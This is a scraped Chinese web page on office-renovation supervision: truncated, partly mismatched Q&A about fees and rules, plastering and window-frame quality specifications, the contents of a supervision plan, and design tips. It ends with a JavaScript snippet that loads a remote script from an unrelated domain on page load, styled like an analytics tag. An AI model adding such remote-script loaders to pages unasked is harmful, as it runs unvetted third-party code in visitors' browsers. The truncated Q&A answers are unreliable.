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柳沈雅
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问办公楼装修监理规划细则有哪些呢?推荐一些专业的监理公司吧?
答装修监理收费标准如下:1、套房装修监理:50-80元/平米;2、楼中楼装修监理:80-100元/平米;3、别墅工程监理:100-200元/平米;(含空中别墅
问急!办公楼装修监理有什么细则
答监理实施细则是依据监理的控制需求,针对关键点、技术难点来进行编制,对同样的房建,但由于不同项目,存在不同的复杂程度、不同的规模、不同的技术难点等差异性,监理
问办公楼装修监理的收费标准是怎样的?有谁知道?
答■家庭装修工程一建筑面积在150平方米以下住宅平层及复式结构住宅:收费3000元/月。二、建筑面积在150-250平方米平层及复式结构住宅结构住宅:收费50
问办公楼装修监理的收费标准是怎样的?
答装修监理收费标准如下: 1、套房装修监理:50-80元/平米; 2、楼中楼装修监理:80-100元/平米; 3、别墅工程监理:100-200元/平米;
问办公楼装饰监理有什么用?
答监督工艺是否按合同施工。
装修监理规划细则,专业必备知识
一、基层墙体(含现浇砼)验收:室内外抹灰工程施工前,监理方会同业主、设计院、东西湖区质检站以及承包方等有关方面的人员,对主体结构范围内的基层墙体、现浇砼梁、板、柱(含构造柱)、墙以及楼梯、阳台等进行全面检查验收认可后,方可开始进行装饰工程施工。同时承包方应认真处理有关问题,必须做好:1、安装好铝合金窗框,并对窗的安装位置进行最终效验固定。在安装窗框前,洞口的两侧由顶层从上到下先弹出通长垂直控制线,洞口的上下(同一标高的洞口)弹出水平通线,避免窗口歪斜不正、错位、窗框里出外进,上下不一致,误差超过标准要求的应提前整修。2、五金件型号、规格和性能均应符合国家现行标准的有关规定。窗框固定片厚度应大于或等于15毫米,其材质应采用Q235―A冷轧钢板,其表面要进行镀锌处理。3、窗框与墙体间的缝隙要分层嵌塞密实。嵌填材料应符合JGJ103―96《塑料门窗安装及验收规程》中的要求,打发泡剂应比窗框外侧低1―1.5厘米,若有凸出必须用刀片刮除使其达到1―1.5厘米深度要求,然后粉刷窗洞时用1:2水泥砂浆同时将缝嵌满抹至窗框侧平或稍凹进2―3mm,待砂浆干燥后再满打密封胶,做到表面平整光滑。窗框塞缝应作为一道主要工序由专人负责,在塑钢窗框经监理全数检查验收后,方可进行本道工序。二、抹灰质量要求:1、外墙面(含卧室、客厅、厨卫、楼梯间等)抹灰为水泥混合砂浆和水泥砂浆、面砖,具体比例、厚度等(含外墙装饰线条与分格条设置)均应符合设计要求。2、为创优,应按中高级的抹灰标准组织施工,质量要求请见JGJ73―91《建筑装饰工程施工及验收规范》第2.3.2条,第2.5.3―2.5.5条及国家《建筑安装工程质量检验评定标准》中的有关规定。3、窗洞粉刷层不得掩没窗框外边线,欲称“吃框”,应与窗框两侧留有3―5mm宽、2―3mm深的凹缝,满打密封胶:窗台粉刷与下框应留有10―15mm的弧槽,满打密封胶。窗台的里侧应高于外侧,外窗台上面应做流水坡度,下面应做滴水线或滴水槽,详见JGJ73―91《建筑装饰工程施工及验收规范》等第6页,图2.1.13。4、外窗室外上口部位需做滴水槽,距外墙表面不小于20mm。5、在阳台、雨蓬、压顶、突出要线等部位抹灰时,应做好留水坡度和滴水线槽。三、质量控制要点:1、严控原材料质量―水泥用不低于325号矿渣水泥或普通水泥,要选用同一批产品,以使外观颜色一致。砂子用中砂(外墙用中粗砂,要求细度模数为2.6以上),使用前应过筛(筛子孔径5mm),含泥量不大于3%,并不得含有杂物;石灰膏由块状生石灰淋制,其熟化时间不得少于15d。严禁使用脱水硬化的石灰膏。若用磨细石灰粉,则在使用前3d以上倒入水池,加水2―3倍进行化成灰膏。所用水泥与砂子,必须经取样复试,符合要求后,方可用到工程上。若需在抹灰砂浆中掺入外加剂,则必须办理报审认可,不得擅自处理。2、认真处理基层是确保抹灰质量的关键之一,必须扎扎实实做好:(1)砼、砖墙基层表面的砼或砂浆残渣污垢、木板(木丝或木屑)、胶带纸、铁丝、钢筋头以及油渍等,应清除干净。一般对油污隔离剂可先用5―10%浓度的火碱水清洗,然后再用清水洗净。基层表面凹凸明显部位,应事先剔平,对蜂窝、凹洼、缺棱掉角处,应先刷一道1:4=107胶:水的胶水溶液,再用1:3水泥砂浆补平。对基层修整和清洗干净后,在常温下,抹灰前要对墙面提前一天进行浇水湿润,砖面渗水深度约为5―8mm;砼面浇水可以少一些。砼表面(含砼柱、墙、顶棚、梁板、楼梯段板底面等)应毛化处理,对光滑面提倡凿毛,或可先刷一道1:3―1:4的素水泥浆(内掺3―5%的107胶)或甩浆、或喷浆,刷浆时要适当加压,随即底层抹灰,或以1:2.5―1:3的水泥砂浆或1:0.5:1的混合砂浆用1:4乳胶水拌合,厚度不得超过3mm,抹平扫毛经24h后,不等底层发白再进行抹灰.若用胶合板(规格尺寸较大的九夹板)底模施工,在经有关人员对现浇砼板底面的平整光滑认可后,顶棚亦可不抹灰,仅进行披腻子.(2)墙面孔洞应堵塞严密。给排水以及电气预埋管道通过的墙洞以及剔墙管槽,必须填嵌密实.特别是管子背后部位,务必派责任心强的人员精心操作,上述工序要在监理人员的见证下,办理隐验。管子背后部分抹灰,也可在二次配管前先进行一次括糙。(3)凡非承重的后砌砖墙基层与砼基层相接处(含屋顶层砌墙与砼圈梁相接处)表面的抹灰,应按图纸先铺钉金属网,并绷紧牢固。金属网与各基层的搭接宽度不应小于100mm.。(4)外墙孔洞堵塞。孔洞靠外墙面1/2孔深宜用细石砼捣实,并经监理验收。3、正确控制砂浆的配合比、和易性砂浆稠度一般控制下:底层抹灰砂浆为10―12cm.。中层抹灰砂浆为7―8cm。面层抹灰砂浆为10cm。为了保证砂浆与基层(尤其是砼基层)粘结牢固,可在砂浆中掺入适量乳胶、107胶,以增加粘结强度:或喷(刷)一道界面处理剂,以增强水泥砂浆与基层的粘结,解决抹灰层空鼓裂等通病。
监理规划主要内容
监理规划就是在一个监理工程师的编制下面以及负责人批准的用来展开监理工作的文件就叫做监理规划,今天小编是来和大家说说监理规划的主要内容的,感兴趣的朋友可以来看看。监理规划主要内容一、监理规划概况第一个就是建设工程的概况,它的主要内容有建设工程的名称这个肯定不能少还有地点以及建设工程的一个组成和做好的建筑模型,这些基本配备有了还需要标明建筑结构的类型和需要投资的金额,计划完成的时候和这个工程的质量需要达到一个什么程度,最好就是施工的单位名称以及结构图的编码。这些内容是监理规划的的一个基本内容也说是建设工程的概况。二、监理规划范围这个范围主要是指监理单位需要承担的工作任务范围,意思就是说如果这个监理单位承担了全部的建设工程里的监理任务,如果不是监理范围不是全部建设工程那就按照监理单位所承担的建设工程来确定监理的范围。三、监理规划项目监理规划的项目包括几项任务首先是建设工程的最初阶段也就是建设监理工作。初步阶段定下来之后的建设工作,需要施工以及招标的监理工作。再就是材料设备的采购以及使用采用材料进行建设监理的主要内容。到这步这个工程就基本完成了所以需要的就是验收的监理工作,验收项目完成后需要进行合同管理的工作这个项目也很重要,基本全部规划项目完成,还有一些其他的小任务放在最好进行监理规划。这些就是监理规划的项目也是监理规划主要内容最重要的一步。四、监理规划目标这就是监理规划主要内容中的最后一步了,上面的内容都完成了就可以根据建设工程中需要承担的监理控制看有没有达到预期的目标,考量标准有工程的投资方面,进度上和原本计划是否一致是延期还是提前完成,质量上有什么透漏。这些考量都完成就可以评估你的监理规划目标做成一个文件备用,这个监理规划内容就算完成了。以上就是监理规划的主要内容,都是根据实际工作中遇到的问题整合出来的所以非常具有实践性,希望对大家有帮助。
办公楼装饰装修设计点是什么的介绍
办公楼是一个致力于办公活动的房子。除办公室外,还有一些公共设施,如展览厅和商店。良好的办公楼设计可以为人们创造良好的办公环境,那么,办公楼装饰装修设计点是什么?我们来看看小编!1,办公楼装饰装修设计与气候温度有一定的关系。为什么大多数办公室选择在春季装修,因为春天的温度相对适中,油漆和水泥在装修过程中相对比较容易发挥。并在这种环境下运作比较顺利,因此,气候和温度是办公楼设计中不可忽视的两个重要因素,无论是在办公室还是在写字楼,都应避免在冬季或雨天装修。2,水和电的项目是整个办公楼装饰装修设计过程中的重要项目。在设计水和电的管路时,必须保证其安全性和实用性。一般来说,在更新水和电时,要尽量注意原来的管道,尽量走暗的管道。水和电的设计必须严格控制每个环节,以避免水力发电可能带来的安全风险。3,门是办公楼装修的一个重要方面,一般采用成品门质量好的,有些公司为节省成本或不熟悉装修,他们会选择自己做的素门,所以即使样子更好但是这样的门在一段时间后会大部分破裂,并且涂料很容易剥落,因此选择购买更好的门更实用。4,光线和灯照是要注意装饰的一个因素,如果不能保证足够的管道,或者如果光线太强,就会影响办公室,还有一些光线是为了提高所有的办公室美观性,在安装配件之前。主光源和辅助光源概念。第一个多数是局部地方的照明,而第二个是每个房间的灯塔。购买时必须加以区分。之前的文章就是对办公楼装饰装修设计的小知识的一些介绍。我觉得大家是能够用的到的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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